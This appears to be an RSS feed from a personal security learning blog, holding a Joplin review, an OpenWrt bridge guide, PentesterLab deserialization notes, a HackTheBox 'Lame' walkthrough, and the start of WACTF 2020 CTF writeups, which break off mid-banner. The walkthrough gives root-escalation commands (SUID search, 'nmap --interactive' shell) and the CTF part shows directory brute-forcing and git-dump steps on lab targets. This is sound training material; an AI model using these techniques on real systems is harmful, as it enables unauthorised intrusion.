<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>drsh0&#39;s llog</title>
    <link>https://drsh0.writeas.com/</link>
    <description>my learning log; notes on cybersec activities, ctfs, and ill-equipped cyber adventures. Consume responsibly.</description>
    <pubDate>Thu, 09 Apr 2026 10:00:00 +0000</pubDate>
    <image>
      <url>https://i.snap.as/v7Oo2ci6.png</url>
      <title>drsh0&#39;s llog</title>
      <link>https://drsh0.writeas.com/</link>
    </image>
    <item>
      <title>Tools I use: Joplin 📔</title>
      <link>https://drsh0.writeas.com/tools-i-use-joplin?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[In 2021, there are a lot of great tools, both online and offline, that are available for technical note taking and knowledge management. In this post I will describe how I use Joplin to meet both my note and wiki needs.&#xA;&#xA;#notes #notetaking #wiki #knowledgemanagement&#xA;&#xA;!--more--&#xA;&#xA;Tools I use: Joplin&#xA;&#x9;Requirements&#xA;&#x9;Joplin Workflow&#xA;&#x9;&#x9;Sync/Backup&#xA;&#x9;&#x9;Shortcomings&#xA;&#xA;Requirements&#xA;&#xA;Some of my personal requirements in a note taking application.&#xA;&#xA;offline first&#xA;markdown support&#xA;export to pdf, html&#xA;ability to sync to a variety of sources&#xA;package available on GNU/Linux&#xA;low resistance note taking&#xA;folder, subfolder, tagging organisation paradigm&#xA;some cross platform support&#xA;&#xA;Joplin Workflow&#xA;&#xA;The main layout for this application is divided into:&#xA;&#xA;notebooks (and subnotebooks)&#xA;individual notes (notes or todo format)&#xA;the editor, and the preview pane&#xA;&#xA;That&#39;s pretty much it! It lets me focus and get to creating notes, categories, and tags quickly and without any resistance. What do I mean by resistance? Well, not having to do this in a browser is a plus. Also not having to share markdown authoring with with my IDE is also a bonus.&#xA;&#xA;Some examples of my notebooks:&#xA;&#xA;programming&#xA;cybersecurity&#xA;blog&#xA;ideas&#xA;scratchpad&#xA;&#xA;Sync/Backup&#xA;I sync my joplin files via rsync to my NAS on my local network regularly.&#xA;Joplin also supports S3 sync. I plan to set up cloud-based sync to Backblaze B2 as a secondary storage for my notes as well. The cost for this should be a few cents a month to store. B2 has server-side encryption similar to S3. &#xA;&#x9;Stay tuned for a tutorial on this!&#xA;&#xA;Shortcomings&#xA;&#xA;No git support - since Joplin uses a sqlite database, it is not able to sync with git. Hopefully that can be added in the future! &#xA;Open source, community developed - whilst overall this is a positive, it also means there are some limitations on how and when new things get implemented. &#xA;]]&gt;</description>
      <content:encoded><![CDATA[<p>In 2021, there are a lot of great tools, both online and offline, that are available for technical note taking and knowledge management. In this post I will describe how I use <a href="https://joplinapp.org/" rel="nofollow">Joplin</a> to meet both my note and wiki needs.</p>

<p><a href="https://drsh0.writeas.com/tag:notes" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">notes</span></a> <a href="https://drsh0.writeas.com/tag:notetaking" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">notetaking</span></a> <a href="https://drsh0.writeas.com/tag:wiki" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">wiki</span></a> <a href="https://drsh0.writeas.com/tag:knowledgemanagement" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">knowledgemanagement</span></a></p>


<ul><li><a href="#tools-i-use-joplin" rel="nofollow">Tools I use: Joplin</a>
<ul><li><a href="#requirements" rel="nofollow">Requirements</a></li>
<li><a href="#joplin-workflow" rel="nofollow">Joplin Workflow</a>
<ul><li><a href="#syncbackup" rel="nofollow">Sync/Backup</a></li>
<li><a href="#shortcomings" rel="nofollow">Shortcomings</a></li></ul></li></ul></li></ul>

<h2 id="requirements" id="requirements">Requirements</h2>

<p>Some of my personal requirements in a note taking application.</p>
<ul><li>offline first</li>
<li>markdown support</li>
<li>export to pdf, html</li>
<li>ability to sync to a variety of sources</li>
<li>package available on GNU/Linux</li>
<li>low resistance note taking</li>
<li>folder, subfolder, tagging organisation paradigm</li>
<li>some cross platform support</li></ul>

<h2 id="joplin-workflow" id="joplin-workflow">Joplin Workflow</h2>

<p>The main layout for this application is divided into:</p>
<ul><li>notebooks (and subnotebooks)</li>
<li>individual notes (notes or todo format)</li>
<li>the editor, and the preview pane</li></ul>

<p>That&#39;s pretty much it! It lets me focus and get to creating notes, categories, and tags quickly and without any resistance. What do I mean by resistance? Well, not having to do this in a browser is a plus. Also not having to share markdown authoring with with my IDE is also a bonus.</p>

<p>Some examples of my notebooks:</p>
<ul><li>programming</li>
<li>cybersecurity</li>
<li>blog</li>
<li>ideas</li>
<li>scratchpad</li></ul>

<h3 id="sync-backup" id="sync-backup">Sync/Backup</h3>
<ul><li>I sync my joplin files via <code>rsync</code> to my NAS on my local network regularly.</li>
<li>Joplin also supports S3 sync. I plan to set up cloud-based sync to <a href="https://www.backblaze.com/b2/cloud-storage.html" rel="nofollow">Backblaze B2</a> as a secondary storage for my notes as well. The cost for this should be a few cents a month to store. B2 has server-side encryption similar to S3.
<ul><li><em>Stay tuned for a tutorial on this!</em></li></ul></li></ul>

<h3 id="shortcomings" id="shortcomings">Shortcomings</h3>
<ul><li>No git support – since Joplin uses a sqlite database, it is not able to sync with git. Hopefully that can be added in the future!</li>
<li>Open source, community developed – whilst overall this is a positive, it also means there are some limitations on how and when new things get implemented.</li></ul>
]]></content:encoded>
      <guid>https://drsh0.writeas.com/tools-i-use-joplin</guid>
      <pubDate>Sat, 08 May 2021 12:32:23 +0000</pubDate>
    </item>
    <item>
      <title>OpenWrt and Archer C7 as a wifi bridge 📡🌉</title>
      <link>https://drsh0.writeas.com/openwrt-and-a-archer-c7-as-a-wifi-bridge?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[If you have a spare router compatible with OpenWrt, an existing home wireless network, and want to utilise this wireless network for non-wifi enabled devices via ethernet - then this post may be helpful.&#xA;&#xA;#openwrt #networking #wifi&#xA;!--more--&#xA;&#xA;Introduction &#xA;Despite upping my wifi AP game recently (UniFi nanoHD AP) and improving wifi coverage throughout our home, the downstairs media player just wasn&#39;t getting the speeds it was capable of. So, instead of changing up the physical location or changing the home network any further, I decided to get my hands drity with OpenWrt and a spare Archer C7 v2 I had instead. I enjoyed the OpenWrt firmware so much, I wanted to write about it here. &#xA;&#xA;What, Why, How?&#xA;&#xA;OpenWrt is a linux based OS for networking devices. I&#39;ve only ever used UniFi, Tomato, DD-WRT, and Merlin firmwares in my network devices so I was just looking for a project where I could get my hands dirty with OpenWrt. The opportunity presented itself when I realised I had a) a spare Archer C7 gathering dust and b) the media player downstairs sure could use a signal boost.&#xA;&#xA;The media player downstairs has no external antenna which added to the problems of receiving limited 2.4 and 5ghz wifi signal 🙁. Max was around 20mbps down, 15mbps up. Near the same spot on my phone was getting at least 100/30!  &#xA;&#xA;The idea in my head was to:&#xA;&#xA;use the existing unused router and load some custom firmware&#xA;put this device into bridging mode (wifi -  ethernet)&#xA;get the media player to utilise ethernet with the wifi as the &#34;backbone&#34;&#xA;&#xA;A wifi bridge from my understanding is simply bridging the ethernet interface of a device with its WLAN interface/s. This way, ethernet would be switched and relayed out via an existing WLAN network. An existing router and AP do all the heavy lifting e.g. DHCP, DNS, routing. This routing is facilitated by relayd. &#xA;&#xA;General Instructions&#xA;&#xA;Prep:&#xA;&#xA;target router flashed with openwrt&#xA;patch network cable&#xA;a computer with an ethernet port (or adapter)&#xA;approx 30m&#xA;&#xA;Fortunately, an excellent guide is already available to achieve what I described above:&#xA;&#xA;⭐ https://openwrt.org/docs/guide-user/network/wifi/relayconfiguration &#xA;&#xA;The summary of this guide is:&#xA;&#xA;go through the initial openwrt setup&#xA;set up the lan interface with an IP in a different subnet to your home network (e.g 192.168.1.0/24 if you already have a 192.168.0.1/24)&#xA;join an existing wireless network (wwan)&#xA;ensure internet connectivity (from openwrt)&#xA;install relayd and luci-proto-relay&#xA;add a new relay bridge interface linking lan and wwan together&#xA;reboot&#xA;&#xA;This should result in all devices attached to the ethernet LAN ports be routed by the relay bridge interface to the main network via an existing wireless network. &#xA;&#xA;Conclusion and Next Steps&#xA;&#xA;The media player now was getting close to 150mbps download and 40mbps upload! Much, much better. Now I can reliably serve files to it wirelessly as well (hopefully soon)! Mission success. &#xA;&#xA;I was really impressed and thankful at the documentation available for this feature by the OpenWrt folks. The firmware is much more polished than I last remembered and would definitely consider switching to this firmware on my other more used network devices. &#xA;&#xA;Next steps:&#xA;&#xA;set up auto updates of OpenWrt and packages&#xA;see if I can set up a simple file server via the USB port on the Archer C7&#xA;create a shell script equivalent of the above process&#xA;&#xA;Resources&#xA;&#xA;OpenWrt for C7 - https://openwrt.org/toh/tp-link/archer-c7-1750&#xA;Wifi Bridge Guide - https://openwrt.org/docs/guide-user/network/wifi/relayconfiguration]]&gt;</description>
      <content:encoded><![CDATA[<p>If you have a spare router compatible with OpenWrt, an existing home wireless network, and want to utilise this wireless network for non-wifi enabled devices via ethernet – then this post may be helpful.</p>

<p><a href="https://drsh0.writeas.com/tag:openwrt" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">openwrt</span></a> <a href="https://drsh0.writeas.com/tag:networking" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">networking</span></a> <a href="https://drsh0.writeas.com/tag:wifi" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">wifi</span></a>
</p>

<h2 id="introduction" id="introduction">Introduction</h2>

<p>Despite upping my wifi AP game recently (UniFi nanoHD AP) and improving wifi coverage throughout our home, the downstairs media player just wasn&#39;t getting the speeds it was capable of. So, instead of changing up the physical location or changing the home network any further, I decided to get my hands drity with OpenWrt and a spare Archer C7 v2 I had instead. I enjoyed the OpenWrt firmware so much, I wanted to write about it here.</p>

<h2 id="what-why-how" id="what-why-how">What, Why, How?</h2>

<p><a href="https://openwrt.org/start" rel="nofollow">OpenWrt</a> is a linux based OS for networking devices. I&#39;ve only ever used UniFi, Tomato, DD-WRT, and Merlin firmwares in my network devices so I was just looking for a project where I could get my hands dirty with OpenWrt. The opportunity presented itself when I realised I had a) a spare Archer C7 gathering dust and b) the media player downstairs sure could use a signal boost.</p>

<p>The media player downstairs has no external antenna which added to the problems of receiving limited 2.4 and 5ghz wifi signal 🙁. Max was around 20mbps down, 15mbps up. Near the same spot on my phone was getting at least 100/30!</p>

<p>The idea in my head was to:</p>
<ul><li>use the existing unused router and load some custom firmware</li>
<li>put this device into bridging mode (wifi –&gt; ethernet)</li>
<li>get the media player to utilise ethernet with the wifi as the “backbone”</li></ul>

<p>A wifi bridge from my understanding is simply bridging the ethernet interface of a device with its WLAN interface/s. This way, ethernet would be switched and relayed out via an existing WLAN network. An existing router and AP do all the heavy lifting e.g. DHCP, DNS, routing. This routing is facilitated by <code>relayd</code>.</p>

<h3 id="general-instructions" id="general-instructions">General Instructions</h3>

<p><strong>Prep:</strong></p>
<ul><li>target router flashed with openwrt</li>
<li>patch network cable</li>
<li>a computer with an ethernet port (or adapter)</li>
<li>approx 30m</li></ul>

<p>Fortunately, an excellent guide is already available to achieve what I described above:</p>

<p>⭐ <a href="https://openwrt.org/docs/guide-user/network/wifi/relay_configuration" rel="nofollow">https://openwrt.org/docs/guide-user/network/wifi/relay_configuration</a></p>

<p>The summary of this guide is:</p>
<ol><li>go through the initial openwrt setup</li>
<li>set up the <code>lan</code> interface with an IP in a different subnet to your home network (e.g <code>192.168.1.0/24</code> if you already have a <code>192.168.0.1/24</code>)</li>
<li>join an existing wireless network (<code>wwan</code>)</li>
<li>ensure internet connectivity (from openwrt)</li>
<li>install <code>relayd</code> and <code>luci-proto-relay</code></li>
<li>add a new <code>relay bridge</code> interface linking <code>lan</code> and <code>wwan</code> together</li>
<li>reboot</li></ol>

<p>This should result in all devices attached to the ethernet LAN ports be routed by the relay bridge interface to the main network via an existing wireless network.</p>

<h2 id="conclusion-and-next-steps" id="conclusion-and-next-steps">Conclusion and Next Steps</h2>

<p>The media player now was getting close to 150mbps download and 40mbps upload! Much, much better. Now I can reliably serve files to it wirelessly as well (hopefully soon)! Mission success.</p>

<p>I was really impressed and thankful at the documentation available for this feature by the OpenWrt folks. The firmware is much more polished than I last remembered and would definitely consider switching to this firmware on my other more used network devices.</p>

<p>Next steps:</p>
<ul><li>set up auto updates of OpenWrt and packages</li>
<li>see if I can set up a simple file server via the USB port on the Archer C7</li>
<li>create a shell script equivalent of the above process</li></ul>

<h2 id="resources" id="resources">Resources</h2>
<ol><li>OpenWrt for C7 – <a href="https://openwrt.org/toh/tp-link/archer-c7-1750" rel="nofollow">https://openwrt.org/toh/tp-link/archer-c7-1750</a></li>
<li>Wifi Bridge Guide – <a href="https://openwrt.org/docs/guide-user/network/wifi/relay_configuration" rel="nofollow">https://openwrt.org/docs/guide-user/network/wifi/relay_configuration</a></li></ol>
]]></content:encoded>
      <guid>https://drsh0.writeas.com/openwrt-and-a-archer-c7-as-a-wifi-bridge</guid>
      <pubDate>Sun, 28 Mar 2021 09:26:36 +0000</pubDate>
    </item>
    <item>
      <title>PentesterLab - Serialize Badge</title>
      <link>https://drsh0.writeas.com/pentesterlab-serialize-badge?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[General writeup notes for Pentesterlab&#39;s Serialize badge. This post does not contain any spoilers. This is just information collected by me to understand the exercises better. &#xA;&#xA;TODO&#xA;XMLDecoder&#xA;CVE-2016-0792 &#xA;ObjectInputStream &#xA;CVE-2013-0156: Rails Object Injection&#xA;API to Shell &#xA;&#xA;#web #pentesterlab #Serialize&#xA;!--more--&#xA;&#xA;XMLDecoder&#xA;&#xA;Java&#39;s XMLDecoder can be used to unserliaize data. There are two common methods that can be used to perform code exec:&#xA;Runtime.exec()&#xA;ProcessBuilder&#xA;&#xA;Steps to reproduce:&#xA;submit an expected file and check output. If XML check for class=.... If it&#39;s XMLDecoder you may be able to utilise the above.&#xA;Craft an XML file with actions you want the underlying Java runtime to perform.&#xA;&#xA;References:&#xA;&#xA;https://find-sec-bugs.github.io/bugs.htm#XMLDECODER&#xA;https://www.baeldung.com/run-shell-command-in-java&#xA;&#xA;CVE-2016-0792&#xA;&#xA;This exploit relied on libraries within java applications that handled unexpected data badly and allowed code execution. &#xA;The key here would have been to test requests to servers by throwing in some unexpected data and then observing the error messages. In this case, error messages would have shown that the command being embedded in the XML was_ being executed before the application errored out. &#xA;Doing a simple ping or curl on a server you controlled would have shown that the exploit worked and could achieve remote communication. ]]&gt;</description>
      <content:encoded><![CDATA[<p>General writeup notes for Pentesterlab&#39;s Serialize badge. This post does not contain any spoilers. This is just information collected by me to understand the exercises better.</p>

<p><strong>TODO</strong>
– <del>XMLDecoder</del>
– <del>CVE-2016-0792</del>
– ObjectInputStream
– CVE-2013-0156: Rails Object Injection
– API to Shell</p>

<p><a href="https://drsh0.writeas.com/tag:web" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">web</span></a> <a href="https://drsh0.writeas.com/tag:pentesterlab" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">pentesterlab</span></a> <a href="https://drsh0.writeas.com/tag:Serialize" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Serialize</span></a>
</p>

<h2 id="xmldecoder" id="xmldecoder">XMLDecoder</h2>

<p>Java&#39;s XMLDecoder can be used to unserliaize data. There are two common methods that can be used to perform code exec:
* <code>Runtime.exec()</code>
* <code>ProcessBuilder</code></p>

<p>Steps to reproduce:
1. submit an expected file and check output. If XML check for <code>class=...</code>. If it&#39;s <code>XMLDecoder</code> you may be able to utilise the above.
2. Craft an XML file with actions you want the underlying Java runtime to perform.</p>

<p>References:</p>
<ul><li><a href="https://find-sec-bugs.github.io/bugs.htm#XML_DECODER" rel="nofollow">https://find-sec-bugs.github.io/bugs.htm#XML_DECODER</a></li>
<li><a href="https://www.baeldung.com/run-shell-command-in-java" rel="nofollow">https://www.baeldung.com/run-shell-command-in-java</a></li></ul>

<h2 id="cve-2016-0792" id="cve-2016-0792">CVE-2016-0792</h2>
<ul><li>This exploit relied on libraries within java applications that handled unexpected data badly and allowed code execution.</li>
<li>The key here would have been to test requests to servers by throwing in some unexpected data and then observing the error messages. In this case, error messages would have shown that the command being embedded in the XML <em>was</em> being executed before the application errored out.</li>
<li>Doing a simple ping or curl on a server you controlled would have shown that the exploit worked and could achieve remote communication.</li></ul>
]]></content:encoded>
      <guid>https://drsh0.writeas.com/pentesterlab-serialize-badge</guid>
      <pubDate>Tue, 02 Feb 2021 09:41:04 +0000</pubDate>
    </item>
    <item>
      <title>HackTheBox - Lame </title>
      <link>https://drsh0.writeas.com/hackthebox-lame?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[difficulty: easy&#xA;status: retired&#xA;platform: linux&#xA;ip: 10.10.10.3&#xA;URI: https://www.hackthebox.eu/home/machines/profile/1&#xA;!--more--&#xA;Enumeration&#xA;&#xA;Initial aim is to collect as much information about the target host as possible. --script vuln can be used to list any common vulnerabilities that nmap can discern. It appears that there are multiple services open, with distccd having a public vulnerability available. &#xA;&#xA;detailssummarynmap scan results/summary&#xA;&#xA;Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-31 07:40 GMT&#xA;Nmap scan report for 10.10.10.3&#xA;Host is up (0.013s latency).&#xA;Not shown: 65530 filtered ports&#xA;PORT     STATE SERVICE     VERSION&#xA;21/tcp   open  ftp         vsftpd 2.3.4&#xA;|sslv2-drown: &#xA;22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)&#xA;| vulners: &#xA;|   cpe:/a:openbsd:openssh:4.7p1: &#xA;|     &#x9;PACKETSTORM:101052&#x9;7.8&#x9;https://vulners.com/packetstorm/PACKETSTORM:101052&#x9;EXPLOIT&#xA;|     &#x9;CVE-2010-4478&#x9;7.5&#x9;https://vulners.com/cve/CVE-2010-4478&#xA;|     &#x9;CVE-2008-1657&#x9;6.5&#x9;https://vulners.com/cve/CVE-2008-1657&#xA;|     &#x9;SSV:60656&#x9;5.0&#x9;https://vulners.com/seebug/SSV:60656&#x9;EXPLOIT&#xA;|     &#x9;CVE-2017-15906&#x9;5.0&#x9;https://vulners.com/cve/CVE-2017-15906&#xA;|     &#x9;CVE-2010-5107&#x9;5.0&#x9;https://vulners.com/cve/CVE-2010-5107&#xA;|     &#x9;CVE-2010-4755&#x9;4.0&#x9;https://vulners.com/cve/CVE-2010-4755&#xA;|     &#x9;CVE-2012-0814&#x9;3.5&#x9;https://vulners.com/cve/CVE-2012-0814&#xA;|     &#x9;CVE-2011-5000&#x9;3.5&#x9;https://vulners.com/cve/CVE-2011-5000&#xA;|     &#x9;CVE-2011-4327&#x9;2.1&#x9;https://vulners.com/cve/CVE-2011-4327&#xA;|    &#x9;CVE-2008-3259&#x9;1.2&#x9;https://vulners.com/cve/CVE-2008-3259&#xA;139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)&#xA;445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)&#xA;3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))&#xA;| distcc-cve2004-2687: &#xA;|   VULNERABLE:&#xA;|   distcc Daemon Command Execution&#xA;|     State: VULNERABLE (Exploitable)&#xA;|     IDs:  CVE:CVE-2004-2687&#xA;|     Risk factor: High  CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)&#xA;|       Allows executing of arbitrary commands on systems running distccd 3.1 and&#xA;|       earlier. The vulnerability is the consequence of weak service configuration.&#xA;|       &#xA;|     Disclosure date: 2002-02-01&#xA;|     Extra information:&#xA;|       &#xA;|     uid=1(daemon) gid=1(daemon) groups=1(daemon)&#xA;|   &#xA;|     References:&#xA;|       https://nvd.nist.gov/vuln/detail/CVE-2004-2687&#xA;|       https://distcc.github.io/security.html&#xA;|      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2687&#xA;Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linuxkernel&#xA;&#xA;Host script results:&#xA;|smb-vuln-ms10-054: false&#xA;|smb-vuln-ms10-061: false&#xA;|smb-vuln-regsvc-dos: ERROR: Script execution failed (use -d to debug)&#xA;&#xA;Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .&#xA;Nmap done: 1 IP address (1 host up) scanned in 179.11 second&#xA;/details&#xA;&#xA;Exploitation&#xA;&#xA;Since it was observed that distccd is vulnerable and a public exploit is available, this seems like a good path forward. There is also a NSE script that didn&#39;t work me sadly. &#xA;&#xA;Exploit: https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855&#xA;Metasploit: exploit/unix/misc/distccexec&#xA;&#xA;This will give a /bin/sh session as user daemon. The user flag can get obtained via /home/makis/user.txt. Basic privesc can be used to escalate to root. &#xA;&#xA;Privilege Escalation&#xA;Upgrade shell:&#xA;python -c &#34;import pty;pty.spawn(&#39;/bin/bash&#39;)&#34;&#xA;&#xA;Find SUID binaries:&#xA;find / -type f -perm -u=s 2  /dev/null&#xA;&#xA;Nmap has SUID bit set. Use this to get an interactive shell as root:&#xA;/usr/bin/nmap --interactive&#xA;!sh&#xA;cat /root/root.txt&#xA;]]&gt;</description>
      <content:encoded><![CDATA[<pre><code>difficulty: easy
status: retired
platform: linux
ip: 10.10.10.3
URI: https://www.hackthebox.eu/home/machines/profile/1
</code></pre>



<h2 id="enumeration" id="enumeration">Enumeration</h2>

<p>Initial aim is to collect as much information about the target host as possible. <code>--script vuln</code> can be used to list any common vulnerabilities that nmap can discern. It appears that there are multiple services open, with <code>distccd</code> having a public vulnerability available.</p>

<p><details><summary>nmap scan results</summary></p>

<pre><code>Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-31 07:40 GMT
Nmap scan report for 10.10.10.3
Host is up (0.013s latency).
Not shown: 65530 filtered ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
|_sslv2-drown: 
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| vulners: 
|   cpe:/a:openbsd:openssh:4.7p1: 
|     	PACKETSTORM:101052	7.8	https://vulners.com/packetstorm/PACKETSTORM:101052	*EXPLOIT*
|     	CVE-2010-4478	7.5	https://vulners.com/cve/CVE-2010-4478
|     	CVE-2008-1657	6.5	https://vulners.com/cve/CVE-2008-1657
|     	SSV:60656	5.0	https://vulners.com/seebug/SSV:60656	*EXPLOIT*
|     	CVE-2017-15906	5.0	https://vulners.com/cve/CVE-2017-15906
|     	CVE-2010-5107	5.0	https://vulners.com/cve/CVE-2010-5107
|     	CVE-2010-4755	4.0	https://vulners.com/cve/CVE-2010-4755
|     	CVE-2012-0814	3.5	https://vulners.com/cve/CVE-2012-0814
|     	CVE-2011-5000	3.5	https://vulners.com/cve/CVE-2011-5000
|     	CVE-2011-4327	2.1	https://vulners.com/cve/CVE-2011-4327
|_    	CVE-2008-3259	1.2	https://vulners.com/cve/CVE-2008-3259
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
| distcc-cve2004-2687: 
|   VULNERABLE:
|   distcc Daemon Command Execution
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2004-2687
|     Risk factor: High  CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
|       Allows executing of arbitrary commands on systems running distccd 3.1 and
|       earlier. The vulnerability is the consequence of weak service configuration.
|       
|     Disclosure date: 2002-02-01
|     Extra information:
|       
|     uid=1(daemon) gid=1(daemon) groups=1(daemon)
|   
|     References:
|       https://nvd.nist.gov/vuln/detail/CVE-2004-2687
|       https://distcc.github.io/security.html
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2687
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: false
|_smb-vuln-regsvc-dos: ERROR: Script execution failed (use -d to debug)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 179.11 second
</code></pre>

<p></details></p>

<h2 id="exploitation" id="exploitation">Exploitation</h2>

<p>Since it was observed that <code>distccd</code> is vulnerable and a public exploit is available, this seems like a good path forward. There is also a <a href="https://nmap.org/nsedoc/scripts/distcc-cve2004-2687.html" rel="nofollow">NSE script</a> that didn&#39;t work me sadly.</p>

<p><strong>Exploit</strong>: <a href="https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855" rel="nofollow">https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855</a>
<strong>Metasploit</strong>: exploit/unix/misc/distcc_exec</p>

<p>This will give a /bin/sh session as user <code>daemon</code>. The user flag can get obtained via <code>/home/makis/user.txt</code>. Basic privesc can be used to escalate to root.</p>

<h2 id="privilege-escalation" id="privilege-escalation">Privilege Escalation</h2>

<p>Upgrade shell:
<code>python -c &#34;import pty;pty.spawn(&#39;/bin/bash&#39;)&#34;</code></p>

<p>Find SUID binaries:
<code>find / -type f -perm -u=s 2&gt;/dev/null</code></p>

<p>Nmap has SUID bit set. Use this to get an interactive shell as root:</p>

<pre><code>/usr/bin/nmap --interactive
!sh
cat /root/root.txt
</code></pre>
]]></content:encoded>
      <guid>https://drsh0.writeas.com/hackthebox-lame</guid>
      <pubDate>Thu, 31 Dec 2020 08:20:20 +0000</pubDate>
    </item>
    <item>
      <title>WACTF 2020 (0x04) Writeups 🦢</title>
      <link>https://drsh0.writeas.com/wactf-2020-0x04-writeups?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[🔗 https://capture.tf/&#xA;&#xA;Another year of a fantastic WA based CTF made by the community for the community. As always, a lot was enjoyed, keyboards were mashed, and much was learnt. Thanks to all the organisers for making this so special. Only regret is not being able to play in person at Perth 😢. &#xA;&#xA;!--more--&#xA;&#xA;Forensics&#xA;&#xA;0. Is serverless, is secure (20pts) &#xA;&#xA;  To impress his agile DevOps friends, Batman has moved his BatCave computer to a &#34;serverless&#34;. Oh no, someone has managed to write to his intel folders and retrieve all of his intel. Can you work out which user is the naughty agent? Luckily he&#39;s got logs enabled and has been identifying his BatCave computer on all requests, so you can rule out BatCaveSuperComputer as the flag.&#xA;&#xA;We are provided with a CloudWatch log file supposedly for the serverless application where data exfil occured (json). &#xA;&#xA;Since I am not too familiar with cloudwatch logs, I devised a quick and dirty way to find the flag:&#xA;&#xA;jq &#34;.events[]&#34;  forensics-0.json | jq .message | grep User-Agent | grep -v &#34;BatCaveSuperComputer&#34; | grep WACTF&#xA;&#xA;The above searches through the json file within &#34;message&#34; that excludes all UserAgent=BatCaveSuperComputer. Turns out we can find the flag this way 😊. &#xA;&#xA;// TODO: learn how to filter or structure these logs. Perhaps uploading them in AWS and using the CloudWatch search UI would allow to make a fancy query.  &#xA;&#xA;Crypto&#xA;&#xA;0. It&#39;s always the same (20pts) &#xA;&#xA;  Crypto is quite tricky, and this is hard for a lvl 0 flag, but such is life. The flag was XORed with the value 0xab, then converted to hex. Can you get the flag out of the ciphertext?&#xA;    Ciphertext: fceae8ffedd0fce3f2f4e2f8f4e2fff4eae7fceaf2f8f4f3e4f9d6 &#xA;&#xA;The ciphertext was produced via plaintext -  XOR(0xab) -  hex. Let&#39;s try to reverse this using CyberChef:&#xA;&#xA;Input = fceae8ffedd0fce3f2f4e2f8f4e2fff4eae7fceaf2f8f4f3e4f9d6&#xA;&#xA;Recipe:&#xA;&#xA;From Hex&#xA;XOR with HEX key ab&#xA;&#xA;Output = WACTF{WHYISITALWAYSXOR}&#xA;&#xA;1. It&#39;s always the same... again (100pts)&#xA;&#xA;  The flag was XORed with an unknown value, then converted to hex. Can you get the flag out of the ciphertext&#xA;    Ciphertext: 16000215073a0e0f041e031815041e08121e0f0e151e001e0d001306041e1204001302091e12110002043c &#xA;&#xA;Similar to the previous example but we don&#39;t know the XOR key. CyberChef has a XOR Brute Force function we can use!&#xA;&#xA;Input = 16000215073a0e0f041e031815041e08121e0f0e151e001e0d001306041e1204001302091e12110002043c&#xA;&#xA;Recipe:&#xA;&#xA;From Hex&#xA;XOR Brute Force w/ Crib=&#34;WACTF&#34;&#xA;&#xA;Output = Key = 41: WACTF{ONEBYTEISNOTALARGESEARCHSPACE}&#xA;&#xA;Web&#xA;&#xA;0. Git Good (50pts) &#xA;&#xA;  You really have to be good to git this flag. Note: A SMALL amount of directory bruteforcing is required for this challenge.&#xA;    Service: http://web-0 &#xA;&#xA;Search for hidden directories and git files:&#xA;&#xA;ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://web-0/FUZZ&#xA;&#xA;Output:&#xA;&#xA;snip&#xA;env                     [Status: 301, Size: 225, Words: 14, Lines: 8]&#xA;snip&#xA;&#xA;env looks interesting. We&#39;d expect to see some interesting files in this directory potentially. Since the status is 403 we can&#39;t see a directory listing. Let&#39;s run ffuf again:&#xA;&#xA;ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://web-0/env/FUZZ&#xA;&#xA;Output:&#xA;.git/HEAD               [Status: 200, Size: 23, Words: 2, Lines: 2]&#xA;&#xA;Bingo. &#xA;&#xA;I&#39;ll use gitjacker to obtain the relevant git files: gitjacker http://web-0/env/&#xA;&#xA; ██████  ██ ████████   ██  █████   ██████ ██   ██ ███████ ██████  &#xA;██       ██    ██      ██ ██   ██ ██      ██  ██  ██      ██   ██ &#xA;██   ███ ██    ██      ██ ███████ ██      █████   █████   ██████  &#xA;██    ██ ██    ██ ██   ██ ██   ██ ██      ██  ██  ██      ██   ██ &#xA; ██████  ██    ██  █████  ██   